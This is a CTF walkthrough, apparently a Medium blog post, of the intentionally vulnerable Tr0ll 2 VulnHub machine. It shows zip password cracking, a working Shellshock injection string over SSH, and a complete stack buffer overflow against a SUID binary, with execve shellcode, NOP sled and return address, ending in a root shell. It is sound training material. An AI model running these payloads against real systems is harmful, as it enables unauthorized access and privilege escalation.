Tr0ll 2: From Shellshock to Stack-Based Buffer Overflow — A Detailed Walkthrough
Target: Tr0ll 2 (VulnHub/CTF)
Difficulty: Intermediate
Key Vulnerabilities: Directory Traversal, Shellshock (CVE-2014–6271), Stack-Based Buffer Overflow
In this walkthrough, we will explore the exploitation chain of the Tr0ll 2 machine. We will start with basic reconnaissance, leverage a cleverly hidden credential to gain initial access via a Shellshock vulnerability, and finally, dive deep into manual stack-based buffer overflow exploitation to achieve root privileges.
🔍 Phase 1: Reconnaissance & Enumeration
We begin with a standard Nmap scan to identify open ports and running services.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))Service Info: Host: Tr0ll; OS: Linux
With port 80 open, the first step is to check the web server. A quick look at robots.txt reveals a massive list of disallowed directories, clearly designed to frustrate manual enumeration:
User-agent:*
Disallow:
/noob
/nope
/try_harder
/keep_trying
...
/seriously_stopInstead of checking these manually, we save the paths to paths.txt and use dirb to filter out the ones that actually return a response:
Dirb Results:
+ http://192.168.1.46/noob (CODE:301|SIZE:311)
+ http://192.168.1.46/keep_trying (CODE:301|SIZE:318)
+ http://192.168.1.46/dont_bother (CODE:301|SIZE:318)
+ http://192.168.1.46/ok_this_is_it (CODE:301|SIZE:320) Investigating the /dont_bother directory, we find an image. Running the strings command on it reveals a hidden clue:
Look Deep within y0ur_self for the answerFollowing the hint, we navigate to /y0ur_self and discover an answer.txt file containing a large block of Base64-encoded text.
Phase 2: Initial Foothold
We decode the Base64 text to reveal potential credentials:
base64 -d base64.txt > decode.txt
cat decode.txtUsing the decoded credentials, we log into the FTP service. Inside, we find a password-protected archive named lmao.zip. We download it and use fcrackzip to brute-force the password:
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt lmao.zipOnce cracked, we extract the archive to find an SSH private key. The key is named noob.
Exploiting Shellshock (CVE-2014–6271)
Attempting a standard SSH login fails, but the OpenSSH version is vulnerable to Shellshock. This vulnerability affects GNU Bash and allows remote code execution when untrusted environment variables are passed to a vulnerable Bash interpreter.
The flaw occurs because GNU Bash fails to stop parsing text after processing a function definition in an environment variable (using the syntax () { :; };). Any code placed immediately after that string is executed by the shell.
We can weaponize this directly through the SSH command:
ssh -t -i noob noob@192.168.1.36 -o PubkeyAcceptedKeyTypes=+ssh-rsa '() { :;}; /bin/bash'Boom! We now have a stable shell as the user noob.
Phase 3: Privilege Escalation via Buffer Overflow
With user access secured, we search for SUID binaries owned by root:
find / -user root -perm /4000 2>/dev/nullWe discover a suspicious directory structure:
/nothing_to_see_here/choose_wisely/door1/r00t
/nothing_to_see_here/choose_wisely/door2/r00t
/nothing_to_see_here/choose_wisely/door3/r00tTesting door2/r00t reveals it requires an input argument. Testing door1/r00t in gdb confirms it is vulnerable to a Stack-Based Buffer Overflow.
The Theory: Understanding the Stack
Before we exploit it, let’s briefly review how this works:
A buffer overflow occurs when a program writes more data to a buffer (local variable) than it was allocated to hold. Because the stack grows downwards in memory, overflowing a local buffer allows us to overwrite adjacent memory: first the Saved EBP, and critically, the Return Address.
When a function is called, a new “stack frame” is created containing:
Get Muhammed Irfan’s stories in your inbox
Join Medium for free to get updates from this writer.
Function Arguments
Local Variables (where our vulnerable buffer lives)
Saved EBP (Base Pointer)
Return Address (where the program should go after the function finishes)
The EIP (Instruction Pointer) register always points to the next instruction the CPU should execute. When a function finishes, it uses the ret instruction, which pops the Return Address off the stack and loads it into EIP. If we control the Return Address, we control EIP, allowing us to hijack execution flow and force the program to run our malicious shellcode.
What is a NOP Sled?
NOP stands for No-Operation. In x86 assembly, it is represented by the hex byte \x90. When the CPU encounters it, it does nothing except move to the next instruction.
Even with a precise return address, the stack can shift slightly due to environment variables. By placing a sequence of NOPs (\x90\x90\x90…) right before our shellcode, we create a “landing zone.” If the CPU jumps anywhere into this sled, it will harmlessly “slide” down until it hits our actual shellcode, drastically increasing the exploit’s reliability.
⚙️ Step-by-Step Exploitation
Step 1: Generating a Cyclic Pattern
Instead of guessing with “A”s, we generate a unique De Bruijn sequence using Metasploit to pinpoint the exact crash location.
msf-pattern_create -l 300
# Output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1...Step 2: Catching the Crash in GDB
We load the binary into GDB and run it with the pattern as an argument:
gdb ./r00t
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9The program receives a SIGSEGV (Segmentation fault). We check the registers:
(gdb) i r
esp 0xbffffb50 0xbffffb50
eip 0x6a413969 0x6a413969We now know the stack pointer (ESP) is at 0xbffffb50, and EIP was overwritten with 0x6a413969.
Step 3: Calculating the Exact Offset
We feed the overwritten EIP value back into Metasploit to find the exact byte offset:
msf-pattern_offset -l 300 -q 0x6a413969
# [*] Exact match at offset 268We need exactly 268 bytes to reach and overwrite the Return Address (EIP).
Step 4: Crafting the Payload
We need a 32-bit Linux shellcode (since the stack address 0xbffffb50 indicates a 32-bit environment). A classic execve(“/bin/sh”) shellcode will do:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"Now, we construct the payload to perfectly hit the 268-byte offset:
NOP Sled: 200 bytes (\x90 * 200)
Shellcode: 23 bytes
Padding: 45 bytes of “A” to reach the exact 268-byte mark. (200 + 23 + 45 = 268)
Return Address: \x50\xfb\xff\xbf (Little-endian representation of our observed ESP address 0xbffffb50).
Phase 4: Root Access
We execute the final crafted payload directly in the terminal:
./r00t $(python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*45 + "\x50\xfb\xff\xbf"')Instead of a segmentation fault, we are greeted with a root shell!
# id
uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)
# whoami
rootWe navigate to the root directory to claim our prize:
cd /root
cat Proof.txtOutput
You win this time young Jedi...
a70354f0258dcc00292c72aab3c8b1e4 Thanks for reading, and happy hacking!






